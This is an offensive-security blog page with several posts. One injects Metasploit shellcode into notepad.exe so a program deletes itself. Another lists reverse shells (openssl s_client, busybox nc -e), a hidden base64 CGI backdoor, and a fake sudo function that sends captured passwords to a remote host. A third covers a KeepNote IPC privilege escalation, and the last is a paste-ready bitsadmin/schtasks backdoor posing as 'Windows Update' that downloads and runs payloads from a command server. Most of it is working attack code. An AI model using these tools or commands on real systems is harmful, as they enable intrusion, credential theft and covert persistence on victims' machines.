Tuesday, October 14, 2014

Self-removing PE's with Remote Thread Injection

There has been a great deal of sharing of client side techniques of late, so I thought I'd toss out a tip. A means to have a PE executable terminate and delete itself while running on a modern Windows system. The technique we will use is not new, but is one I discovered independently while tinkering with thread injection techniques a few years back.

If you have worked with a modern Windows systems you are familiar, at least on an abstract level, that once an executable has been mapped to virtual memory you cannot delete the file from disk until the handle is closed. Self-deleting a "Persisted memory-mapped file" is often solved by writing a secondary script (.bat||.ps1||.vbs) to disk as a clean-up stub. A cleaner way to do this is to spawn a windowless process in a new process group and inject code to terminate the calling PE, and remove the file from disk. This post includes a purposefully verbose example written in python to attempt to clearly illustrate this technique.

Since many people are familiar with the CreateThread function, due to it's popularity in shellcode execution, we will use the CreateRemoteThread function for our examples. The only difference people already familiar with CreateThread will notice is that CreateRemoteThread takes a process handle argument denoting the remote process into which we injected our code.


Attempt to Delete Executable from Modern Windows System:

If you've ever attempted to delete an open file on a modern Windows system you are familiar with the following dialog. 


Self Removal Via Remote Thread Injection:

In order to terminate and delete a running PE we will use two things: the full file path and the current process id. If you are using an interpreted language, you may also wish to know whether the processes is running as a standalone script or from inside a packed executable.

State Detection:

As many people are using Python with things like pyinstaller, p2exe, or cx_Freeze to pack up interpreted code. Creating code that works when run as a script or a packed PE can useful. In this example I use Thomas Heller's (ctypes and py2exe notoriety) suggestions found here to determine the state of the file, script, or exe.

Building our Payload:

As this point of this post is clarify the deletion method and not about writing shellcode that calls DeleteFileA from kernel32.lib, I will use slightly modified shellcode from the Metasploit project's WinExec payload. I change the value of uCmdSHow to cause our commands to run without a visible window. The second part of our shellcode is a bit of a hack, but hopefully it makes things accessible and clear to the reader. Since we aren't writing our own shellcode, and don't have access to SleepEx, we use ping along with an unreachable address and a known timeout to create a sleep state. The purpose of this sleep is to ensure that the call to taskkill has completed terminating the primary process before we attempt to remove it from disk. In writing your own code you may choose to simply have the process exit() before removing the file. I find terminating the process to be a more aggressive form of removal when triggering this method of self-deletion on errors or signals.

Command String -
cmd /c taskkill /F /PID > nul <pid> && ping 1.1.1.1 -n 1 -w 500 > nul & del /F /Q <Path>

Shellcode -
"""
http://www.rapid7.com/db/modules/payload/windows/exec
Authors: vlad902 <vlad902[at]gmail.com>, sf <stephenfewer[at]harmonysecurity.com>
We modify "\x6a\x01" push 01 to "\x6a\x00" push 00 to unset uCmdShow
UINT WINAPI WinExec(                                    
                    _In_ LPCSTR lpCmdLine,
                    _In_ UINT uCmdShow
                   );
"""
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52
\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26
\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d
\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0
\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b
\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff
\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d
\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b
\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44
\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b
\x12\xeb\x86\x5d\x6a\x00\x8d\x85\xb9\x00\x00\x00\x50\x68
\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95
\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb
\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5 + commandstr + \x00

Remote Process:

You can use any process for which you can request appropriate handle permissions, however, I recommend you open a new process that will not be interacted with by users. Additionally, be mindful of process load time when using thread creation flags that request immediate execution. For these reason I will use notepad.exe.


Injection Process:

There are four stages to our remote thread injection. First we must request access to interact with the remote process we are targeting as our cleanup helper via OpenProcess. Once we have a handle with appropriate permission, we allocate enough memory for our payload with VitualAllocEx. Now that we have a space to write our payload, we copy our buffer into the space using  WriteProcessMemory. If the write succeeds, we can kick off our code with CreateRemoteThread. There are many ways to perform remote thread injection, those shown here are among the most common and easy to follow.

Note: You can also start your helper process then inject a suspended thread that is triggered from your primary process based on later signals, exceptions, or states. I shy away from this as it leaves a larger footprint in the process list.


Libraries and Compilation:

Common libraries/methods that can provide access to the functions necessary for this approach:
Python - Ctypes.windll.kernel32
C# - [DllImport("kernel32")], Marshal.GetFunctionPointerForDelegate 
C/C++ - LoadLibrary("kernel32.dll")
Java - JNI, com.sun.jna, sun.misc.unsafe

When compiling code that uses this method, due to difference in size of PROCESS_ALL_ACCESS between windows versions, be certain to set _WIN32_WINNT || _WIN32_WINNT_WINXP appropriately. Alternatively, you can simply compile your code on a system relative to the oldest Windows version your code will target.



Example Self Deleting File:

The following code will self delete using remote threat injection as either a raw python script or when ran as an executable.
I've tried to make the significance of each Windows function argument as clear as possible. Code on github.

#!/usr/bin/env python
from __future__ import print_function, absolute_import, unicode_literals
import subprocess
from time import sleep
import os
import ctypes
import sys
from imp import is_frozen
__author__ = 'themson mester'


"""
WinExec shellcode sourced from the Metasploit Framework.
http://www.rapid7.com/db/modules/payload/windows/exec
Authors - vlad902 <vlad902 [at] gmail.com>, sf <stephenfewer [at] harmonysecurity.com>

I have modified "\x6a\x01" push 01 to "\x6a\x00" push 00 to unset uCmdShow
WinExec: http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393(v=vs.85).aspx
UINT WINAPI WinExec(
                     _In_  LPCSTR lpCmdLine,
                     _In_  UINT uCmdShow
                    );

"""
SHELLCODE = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + \
            b"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + \
            b"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + \
            b"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" + \
            b"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" + \
            b"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" + \
            b"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" + \
            b"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" + \
            b"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" + \
            b"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" + \
            b"\x12\xeb\x86\x5d\x6a\x00\x8d\x85\xb9\x00\x00\x00\x50\x68" + \
            b"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" + \
            b"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" + \
            b"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

TARGET_PROCESS = b'notepad.exe'


def is_frozen_main():
    """Freeze detection Bool

    From www.py2exe.org/index.cgi/HowToDetermineIfRunningFromExe
    ThomasHeller posted to the py2exe mailing list
    :return: bool
    """
    return (hasattr(sys, "frozen") or  # new py2exe
            hasattr(sys, "importers")  # old py2exe
            or is_frozen("__main__"))  # tools/freeze


def get_state():
    """Get pid and path

    Acquire current process pid
    Check execution state (PE || script)
    Acquire current process file path
    :return pid, path: str, str
    """
    current_pid = str(os.getpid())
    if is_frozen_main():
        current_path = sys.executable
    else:
        current_path = os.path.abspath(__file__)
    current_path = b'"' + current_path + b'"'  # handle paths with spaces, ^ escape will not
    return current_pid, current_path


def generate_shellcode(pid, path):
    """Finalize shellcode to be injected

    Set up cmd to kill PID and remove from disk
    :param pid:
    :param path:
    :return shellcode: bytearray
    """
    nullbyte = b'\x00'
    cmd_string = b'cmd /c taskkill /F /PID > nul {} && ping 1.1.1.1 -n 1 -w 500 > nul & del /F /Q {}'.format(pid, path)
    return bytearray(SHELLCODE + cmd_string + nullbyte)


def child_process(process_name=TARGET_PROCESS):
    """Start windowless proccess in new process group

    :param process_name: str
    :return process pid: int
    """
    startupinfo = subprocess.STARTUPINFO()
    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW  # Start process windowless
    try:
        process = subprocess.Popen([process_name], startupinfo=startupinfo,
                                   creationflags=subprocess.CREATE_NEW_PROCESS_GROUP)
    except OSError as e:
        print('Error: child_process(): {}'.format(e.args))
        return -1
    sleep(1)  # allow process load before injection
    return process.pid


def inject_rthread(shellcode, child_pid):
    """Inject shellcode into remote process as new thread

    NOTE: non-PEP8 and extraneous names are used to maintain clarity of Windows Function parameter names

    OpenProcess: http://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx
    VitualAllocEx: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx
    Memory Protection Constants: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx
    WriteProcessMemory: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx
    CreateRemoteThread: http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx

    :param shellcode: byte array
    :param child_pid: int
    :return success: bool
    """
    kernel32 = ctypes.windll.kernel32
    byte_length = len(shellcode)

    # OpenProcess  Arguments
    PROCESS_ALL_ACCESS = (0x000F0000L | 0x00100000L | 0xFFF)  # all access rights
    bInheritHandle = False  # do not inherit handle
    dwProcessId = child_pid  # pid of remote process

    # VirtualAllocEx Arguments
    lpAddress = None  # function determines alloc location
    dwSize = byte_length
    flAllocationType = 0x1000  # MEM_COMMIT
    flProtect = 0x40  # PAGE_EXECUTE_READWRITE

    # WriteProcessMemory Arguments
    lpBuffer = (ctypes.c_char * byte_length).from_buffer(shellcode)  # buffer of shell code chars
    nSize = byte_length
    lpNumberOfBytesWritten = None  # do not return bytes writen length

    #CreateRemoteThread Arguments
    lpThreadAttributes = None  # use default security descriptor
    dwStackSize = 0  # use default stack size
    lpParameter = None  # no vars to pass
    dwCreationFlags = 0  # run thread immediately
    lpThreadId = None  # do not return thread identifier

    try:
        hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, bInheritHandle, dwProcessId)
        lpBaseAddress = kernel32.VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect)
        write_return = kernel32.WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten)
        if write_return != 0:
            kernel32.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpBaseAddress,
                                        lpParameter, dwCreationFlags, lpThreadId)
            return True
        else:
            return False
    except Exception as e:
        print("ERROR: inject_rthread(): {}".format(e.args))
        return False


def clean_up():
    """manage clean up process

    get pid and path
    generate shellcode
    launch target process and return cpid
    inject into remote thread

    :return: success bool
    """
    pid, path = get_state()
    shell_code = generate_shellcode(pid, path)
    child_pid = child_process()
    if child_pid == -1:
        return False
    else:
        return inject_rthread(shell_code, child_pid)


def main():
    print("Self-Deletion via remote thread injection demo.")
    clean_up()
    while True:
        sleep(1)


if __name__ == "__main__":
    main()

Cleanup:

I encourage people to explore other methods of code injection and self deletion, there's lots of great tricks out there to be learned. Additionally, consider adding timeout dates to your client-sides that cause self-deletion to trigger before payload execution if a client-side is ever executed outside of scoped testing dates.


Go learn something...
@ThemsonMester



Cited Resources:

Friday, August 1, 2014

Getting Busy at the Command Line

We all can get a little lazy relying on the frameworks that have arisen due to the monetization of offensive skills. In light of this, I wanted to make a short post to inspire people to explore what can still be done by rubbing two sticks together in a shell.
TL;DR - The command line. Use it more, and harder.

Food for Thought

There are thousands of command line tips, tricks, and hacks. I'll toss out a few examples I've used in the last month to get your creativity flowing.

Reverse  SSL Shell:

A simple reverse shell using fifos and openssl s_client. There's a great deal you can do with this tool, take a look at the server options.
mkfifo /tmp/sfd; /bin/bash -i < /tmp/sfd 2>&1 | openssl s_client -quiet -connect <RHOST>:<RPORT> > /tmp/sfd; rm /tmp/sfd

Resurrecting Netcat:

There are plenty of ways (pipes) to resurrect good old netcat, but have you ever looked inside of the nc applet in BusyBox? [-e PROG] is still a valid argument.
busybox nc <RHOST> <RPORT> -e /bin/busybox ash

CGI Shell via BusyBox Httpd:

Ever browse the source of some of the tools on your box? Here's a little cgi shell using the httpd applet in BusyBox.

Httpd Backdoor
mkdir -p /tmp/s/cgi-bin;(base64 -d <<<IyEvYmluL2Jhc2gKaWYgWyAiJFJFUVVFU1RfTUVUSE9EIiA9PSAiSEVBRCIgXSAmJiBbICIkSFRUUF9VU0VSX0FHRU5UIiA9PSAibm9wZSIgXTsgdGhlbgogICAgQz0kKGJhc2U2NCAtZCA8PDwgJFFVRVJZX1NUUklORykKICAgIGlmIFsgIiRDIiA9PSAiZXhpdCIgXTsgdGhlbgogICAgICAgIGVjaG8gIkNsZWFuIgogICAgICAgIHJtIC4vcAogICAgICAgIGtpbGwgJChwZ3JlcCBidXN5Ym94KQogICAgIGZpCiAgICAgZWNobyAkKGJhc2ggLWMgIiRDIikKZmkK)>/tmp/s/cgi-bin/p;chmod +x /tmp/s/cgi-bin/p; busybox httpd -f -p <LPORT> -h /tmp/s/; rm -rf /tmp/s/

Self-Cleaning CGI Bash Shell
Our backdoor is in the base64 above, and looks like the following.

Maybe we want to restrict access by HTTP method or user agent? We can utilize the env vars passed to the httpd. Might as well clean up after ourselves while we are at it.
#!/bin/bash
if [ "$REQUEST_METHOD" == "HEAD" ] && [ "$HTTP_USER_AGENT" == "nope" ]; then
    C=$(base64 -d <<< $QUERY_STRING)
    if [ "$C" == "exit" ]; then
        echo "Clean"
        rm ./p
        kill $(pgrep busybox)
     fi
     echo $(bash -c "$C")
fi
C2
Now whip up a quick loop on our controlling host that meets our triggers.
COMMAND='';
while [ "$COMMAND" != "exit" ]; do
    read -p "$ " COMMAND;
    echo -e "HEAD /cgi-bin/p?$(base64<<<$COMMAND) HTTP/1.0\nHost:\nUser-Agent: nope\n\n" | ncat <HOST> <PORT>;
done

RSA Keys as Vars:

Need our httpd cgi shell encrypted? Why not toss some RSA keys into variables via file pipes.
myfullKey=$(openssl genrsa 2048 -outfile)
mypubkey=$(openssl rsa -in <(echo "$myfullKey") -pubout)
To get around key to data size issues, (and be more correct) use these to handle symmetric keys.
I'll leave exact implementation up to you. The point of this post is to inspire ideas, get tinkering!
openssl aes-256-cbc [-d] -pass pass:<symetric_key> -a

Privileged Escalation with Shell Wrappers:

last and history tell us a user logs on frequently and uses the sudo command.
We could use LD_PRELOAD... or simply wrap sudo in a argument expanding function.

We force a sudo timeout, fake an incorrect password entry, send the password encrypted to our server, then issue the user's original command by expanding their arguments.
sudo () 
{ 
    /bin/echo [sudo] password for $USER:; 
    read -s yoink; 
    openssl s_client -quiet -no_ign_eof -connect <RHOST>:<RPORT> <<<$USER:$yoink 2> /dev/null; 
    echo "Sorry, try again."; 
    /usr/bin/sudo -k; /usr/bin/sudo "$@";
}
Why bother cracking a password when you can have a user type it for you?
This can also be done with an alias. Which can be hidden with control characters (think ^M).


Spy on Stdin by Tracing System Calls:

Need to know what a user is typing in their tty?
sudo strace -f -p <tty_pid> 2>&1 | grep -o -e 'read(., \".*", 1)'
Note: We follow forks with -f in order to grab subprocess and sudo password input.


Fun with stdin Pipes:

Don't want the user to see your sudo wrapper, a command, or specific argument? There are dozens of ways to avoid logging with escapes and sub-shells (mail, gdb, ash).

But what about creating a pipe of standard in?
$(< /dev/stdin)
<anything you want>
^D^D
How could you further hide the process with shell wrappers, aliases, symlinks, exec renames?
What I'm getting at here is, never underestimate the power of leveraging built-in tools in unintended ways.


The Mindset

For me, this style of thinking is the true sense of "hacking." Learning about an environment or system until you understand what you can make it do, irrespective of what it was intended to do.

Next time you look at a system, environment, or command, ask yourself the following. Does it: create sockets, alter data, read files, elevate privileges, control the flow of data, alter appearances to a user or process, impact commands before or after execution, alter keyboard entry, import anything from anywhere... ? The list and impact is only limited by your creativity.

Enough soap-boxing, have a fun time in Las Vegas! Be safe.




Go learn something ...
@ThemsonMester

Friday, June 6, 2014

Late Night Privilege Escalation (keepUP)

- Exploiting Local Interprocess Command Sockets -


How this came to be:
A few weekends ago I was working through exercises from the folks at Offensive Security when the VPN connection died. ifconfig told me that the tap interface was down, out of habit I fired off netstat to see what other connections were established, something strange stood out. There was a root-owned process listening in the Registered Ports range, the port number didn't ring a bell.

Digging deeper with lsof, the process turned out to be KeepNote, an open source tool used by OffSec students and pentesters alike to organize their notes.

This is the story of how that netstat became a root shell.

Creating the Perfect Storm

The Protocol:
The first step in our exploration is figuring out exactly what traffic goes over this socket.

The KeepNote help menu hints of an interprocess command functionality present in the software.



Watching the IPC in action we discover a clear-text protocol with an unknown numeric string common across sessions.



To test whether this string plays a role in authentication and or authorization, we replay the session via a raw socket.



We just might have something here...

The Pin:
The numeric string appears to be the sole authentication mechanism in the protocol, let's track down how it is created.
A look at the source code reveals the following function. We now know that authentication is based off a key space of 1,000,001 pins


The Socket:
Just how feasible it is to brute force this pin, and what controls are in place?
For this we search for instances of the socket listen and accept methods.

 Note: Here we discover the port is randomized on process startup.

We have a listen backlog of 1, however, the manner in which connections are accepted in no way prevents brute forcing the pin. Use of the loopback interface lends additional advantage in the form of a speed increase, and elimination of the need to carefully handle timeouts.


The Port:
Port randomization in open_socket() forces us to create a means by which to reliably map the PID to a PORT number. Many of you will shout: netstat, lsof, ss, ps, fuser! If you explore these solutions you’ll find the -p flag and process to socket information is not available to non-privileged users.

We grep /proc for potential representations of the port number and find hex representing the socket pair present in /proc/<pid>/net/tcp. We are able to leverage state information in the file to further identify the socket. From the enum in tcp_states.h we know 0A represents a TCP_LISTEN state.


We now have everything we need to discover, map, and crack the IPC pin. Onward to code execution!


The Commands:
After some exploration, leveraging extension installation functionality seems the most likely path to execution of code.



Investigation of the extension format reveals they are zipped archives containing an informational XML file and the Python code for the extension.



Reviewing the code, there appears to be an "Extension" class inherited from keepnote.gui.extension.Extension, we choose this as our target for execution.
By poisoning the __init__ method of this class, we can gain execution when an instance of the class is created. Importantly, we do so with low likelihood of disrupting normal execution flow.


The Payload:
Our first attempt at using the install command results in a user prompt. We could social engineer the interaction as follows, but this is less than ideal:



Digging for alternate ways to instantiate an extension, we find on_temp_extension(). This function initializes a single session extension instance without user interaction. It lacks functionality to unpack our archive, so we'll need to extract the extension contents ourselves.

User interaction required.

Silent extension installation.


We now have everything we need to escalate privileges on the system.


The Mitigation:
In order to mitigate this attack, I recommend starting KeepNote with the  --newproc flag. Use of this flag will prevent the command socket from being created. As the project does not appear to be under active development, and exposure to this vulnerability is rather low, turning off the IPC socket will be an acceptable mitigation for most users.

I have contacted the primary author of the project out of courtesy.

Note, this blog is in no way a commentary on the competency of the authors of the project, many of whom I'm certain are more capable developers than myself; thanks for the great software folks!


The Exploit:
Code available at: https://github.com/themson/keepUP

Note: I've also written a threaded version of this POC, however, under Python 2.7.* the GIL drastically impacts the speed of the attack. A speed increase can be had by leveraging taskset to force process affinity to one core, however, if speed is a major concern, C is the answer.


Enough Talk, uid=0 Time!

Hijacking the KeepNote IPC socket to execute arbitrary code.

In order to demonstrate this vulnerability, we create a user with no privileged group membership or sudoer privileges. We then use this account to exploit the IPC socket, gaining a root shell.



Map, Crack, Hijack, Escalate

We can now hijack any account with an exposed KeepNote IPC socket.

Go learn something ... 
@ThemsonMester


Cited Resources:
https://github.com/brotchie/keepnote
https://docs.python.org/2/library/socket.html#socket.socket.listen
https://docs.python.org/2/library/random.html#random.randint
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/include/net/tcp_states.h
https://github.com/mdrasmus/keepnote-extensions
http://msdn.microsoft.com/en-us/library/windows/desktop/aa365574%28v=vs.85%29.aspx
http://www.advancedlinuxprogramming.com/alp-folder/alp-ch05-ipc.pdf
http://patorjk.com/software/taag/

Saturday, March 8, 2014

Temporal Persistence with bitsadmin and schtasks

- Leaving a Key Under the Mat -


Why Do This:
On a recent engagement, I ran into a well-meaning individual who, after being briefed about our team's access to their network, decided to reboot compromised hosts and change user credentials in the middle of the testing. After losing multiple shells that weren't actually being detected, I decided to spend that evening after work creating a method to let myself back in.

There are numerous common persistence methods, however, leaving behind registry keys, start-up configurations, or any permanent files was strictly out of the question. Additionally, I wanted the source of reentry to be remotely triggered, C&C independent, and any changes to the system should appear plausibly legitimate.

What We Want:
  • No files left behind: binaries, vbs, ps1, batch, mof, xml... 
  • Persistence across sessions and reboots
  • Functional under non-privileged user accounts
  • No need for user credentials or interaction
  • Ability to reinfect unique hosts individually 
  • Self cleaning, independent of system access
  • Configurable time-based poling
  • Remotely Mutable C2 Addressing
  • C2 & payload only visible during reinfection window
  • Plausibly believable configurations

The means of persistence on which I settled was Microsoft's Background Intelligent Transfer Service (BITS), and the associated bitsadmin tool:


Nothing is New:
Bitsadmin has received some coverage of late, most notable are the following examples.
After trying the examples listed in these talks, I realized some pieces were missing. This is not to say that the information was inaccurate, simply incomplete for my purpose. 


Constructing a BITS Back Door:


Component One: Assembling a BITS Job
# Create new transfer job named "Windows Update"
bitsadmin /Create "Windows Update" 
# Add a file to our job
bitsadmin /AddFile "Windows Update" http://<yourC&C>.com/kb%RANDOM%.exe %TEMP%\kb7468656d.exe 
# Customize the notification event trigger
bitsadmin /SetNotifyFlags "Windows Update" 1
# Specify command to execute on notification event
bitsadmin.exe /SetNotifyCmdLine "Windows Update" "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete \"Windows Update\" && start /B %TEMP%\kb7468656d.exe"
# Set retry delay on transient error in seconds
bitsadmin /SetMinRetryDelay "Windows Update" 120 
# Assign custom HTTP Request header
bitsadmin /SetCustomHeaders "Windows Update" "Caller:%USERNAME%@%COMPUTERNAME%"
# Activate job for transfer
bitsadmin /Resume "Windows Update" 
Important Settings:

  • Use of the /SetNotifyFlags 1 causes BITS to "Generate an event [ONLY] when all files in the job have been transferred." 
  • Leveraging /SetNotifyCmdLine we issue the /Complete command and subsequently execute our payload. Without use of /Complete BITS will leave our files in a tmp state and not move them to the correct directory within the file system. This usage of /SetNotifyCmdLine along with /Complete seem to be missing from most examples of using this tool. 
  • Utilizing the %RANDOM% variable in our /AddFile command, along with environment variables in our /SetCustomHeaders command, we create a host-specific HTTP request header and trigger file. We can now easily identify each machine and trigger their reinfection independently of one another.


Issuing the above commands results in the following request being sent to our C&C server:


Component Two: Monitoring our Backdoor
We can monitor BITS requests in our Apache access.log as follows, or we can do better...

To generate a log that leverages our custom file names and request headers, we add some Apache CustomLog and SetEnvIf directives to /etc/apache2/sites-enabled/000-default

After restarting Apache, we now have a BITS only log with the exact information we need:

Unfortunately, we aren't quite done yet. If our BITS job sends a HEAD requests for a file that does not exist we completely lose access.
From MSDN:
  • ERROR — A nonrecoverable error occurred; the transfer will not be retried.

Component Three: Priming BITS with schtasks.exe
To solve the problem of BITS entering an error state, we use schtasks to resume our job at regular intervals. This will allow our backdoor to persist regardless of the state of our C&C, or presence of a trigger-file.

Crafting our Scheduled Task
schtasks /CREATE /TN "Windows Update" /TR "%WINDIR%\system32\sbitsadmin.exe /resume \"Windows Update\"" /SC minute /MO 30 /ED 03/14/2014 /ET 09:00 /Z /IT /RU %USERNAME%
Important Settings:
# The /resume flag will restart our BITS job if it has entered an error state
/TR %WINDIR%\system32\sbitsadmin.exe /resume...
# Utilizing a "schedule modifier" we create a task whose actions will trigger every X minutes.
/SC minute /MO <X>
# Using an end date and end time we set an expiration date for our task
/ED <DATE> /ET <TIME>
# Using the /Z flag causes our task to self delete at the specified end date and time
/Z
# Run as %USERNAME% executes our task under a compromised user without need for credentials
/IT /RU %USERNAME%

Our Newly Created Task

This task will automatically delete itself once it has reached the end date and time.


A note on plausible configurations and persistence methods:
Some will argue that we could simply utilize this scheduled task to trigger a download and execution request at a regular interval. Perhaps pole for a powershell script. They are not incorrect, however, I prefer to leverage the innocuous appearance of the task. I am of the mind that not exposing our C&C IP or Domain name in our scheduled task puts us at a lower risk of discovery; the average user, and even administrator, is highly unlikely to view the details of our BITS job.  The curious are likely only to run common informational commands such as bitsadmin /list and bitsadmin /info, not revealing our C&C information without the /verbose flag. An even more nefarious attacker might go as far as to point their C&C DNS at a legitimate Windows Update server until needed, making the HTTP call back traffic appear legitimate up to and after reinfection. I certainly would never suggest doing such a thing, but yield that the more believable the configuration, the more effective the backdoor.



Enough Talk, Lets Do This Thing!

Combing bitsadmin and schtasks we can deploy a backdoor by pasting the following into our shell.
# ------------------- BITS BACK DOOR ----------------------
# Themson Mester  - 03/06/2014
# Configure: /AddFile <Domain>  |  /MO <Minutes>  |  /ED <DATE> |  /ET <Time>
cd %TEMP%
bitsadmin /Reset > NUL
bitsadmin /Create "Windows Update" > NUL
bitsadmin /AddFile "Windows Update" http://<Domain>.com/kb%RANDOM%.exe %TEMP%\kb7468656d.exe > NUL
bitsadmin /SetNotifyFlags "Windows Update" 1 > NUL
bitsadmin.exe /SetNotifyCmdLine "Windows Update" "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete \"Windows Update\" && start /B %TEMP%\kb7468656d.exe" > NUL
bitsadmin /SetMinRetryDelay "Windows Update" 120 > NUL
bitsadmin /SetCustomHeaders "Windows Update" "Caller:%USERNAME%@%COMPUTERNAME%" > NUL
schtasks /delete /TN "Windows Update" /F
schtasks /CREATE /TN "Windows Update" /TR "%WINDIR%\system32\bitsadmin.exe /Resume \"Windows Update\"" /SC minute /MO 60 /ED 03/14/2014 /ET 09:00 /Z /IT /RU %USERNAME% > NUL

bitsadmin /List
schtasks /Run /TN "Windows Update"
schtasks /Query /TN "Windows Update"
# ------------------- EOF ---- them ---- EOF ---------------------

Demo Time:

Deploy the Backdoor:
A callback interval of 2 minutes is used for testing, 60-90 minutes is quieter for actual use.

Phoning Home:
The initial schtasks /run triggers our first phone home as seen in our monitoring log.

Losing our Session: 
After killing the session, I rebooted the box, then logged on, off, and on again as two different users.
Our backdoor phones home soon after the user under whom it was deployed logs on.

Reinfecting the Host:
We deploy a payload using the custom trigger-file name for the machine we wish to target.

Host Acquires Payload:
The host whose trigger-file we used pulls down our payload.

Back in Business:
Successful transfer triggers /SetNotifyCmdLine to /Complete our download and executes the payload.
I used a self-deleting PE, you could also use a blank file to trigger a reflective powershell execution.
At this point the BITS job is removed. You can redeploy the backdoor by pasting it back into your shell. If you ever need to preemptively clean the backdoor use:
bitsadmin /reset && schtasks /delete /TN <taskname> /F

Rising from the dead: Mutable C2 Addressing
There are two reasons we use a domain name and not a static IP to host our trigger-files. First, we can use a domain that looks potentially legitimate. Second, it allows us to change C&C reinfection hosts in case your original IP gets blocked. This will take some time, as it relies on propagation of a new A/AAAA record and the expiration of any DNS cache; still better than losing our access.

After about an hour the request arrives at our new C&C and we are back in again!


Compromise, Infection, Loss of Shell, Persistence, Reinfection

At this point, anyone defending the network should be reacting something like this.

How'd We Do?:
  • No files left behind: binaries, vbs, ps1, batch, mof, xml...  ✓
  • Persistence across sessions and reboots ✓
  • Functional under non-privileged user accounts ✓
  • No need for user credentials or interaction ✓
  • Ability reinfect unique hosts individually  ✓
  • Self cleaning, independent of system access  ✓-
  • Configurable time-based poling ✓
  • Remotely Mutable C2 Addressing ✓
  • C2 & payload only visible during reinfection window ✓
  • Plausibly believable configurations ✓

Shortcomings:

  • When the bitadmin /resume command is run by task scheduler, under a non-system level account, the user may see a small flash as the argument is passed to cmd.exe. This can be prevented by creating the task under a system account, or having the task only trigger on idle time.
  • The BITS job is removed automatically upon success, however, if the task is removed and the BITS job never completes, it will remain in the queue in an inactive ERROR state and will not be tried again. You can prevent this a number of ways: another task, a secondary trigger... I'll leave that practice up to you. I personally am not terribly concerned about it.



So there you have it, highly resilient persistence that cleanly expires with your engagement.

Go learn something ... 
@ThemsonMester



Cited Resources:
  1. Microsoft Developer Network, BITSAdmin Tool: http://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx
  2. TechNet, Schtasks.exe: http://technet.microsoft.com/en-us/library/bb490996.aspx
  3. Apache Module mod_log_config: http://httpd.apache.org/docs/current/mod/mod_log_config.html
  4. Fuller, Rob, and Chris Gates. "Windows Attacks AT is the new black." . N.p., 09/29/2013. Web. <http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607>. (slides 49-53)
  5. Baggett, Mark. "Wipe the drive! Stealthy Malware Persistence Mechanism - Part 1." InfoSec Handlers Diary Blog. Sans, 03/13/2013. Web. 10 Mar 2014. <https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394>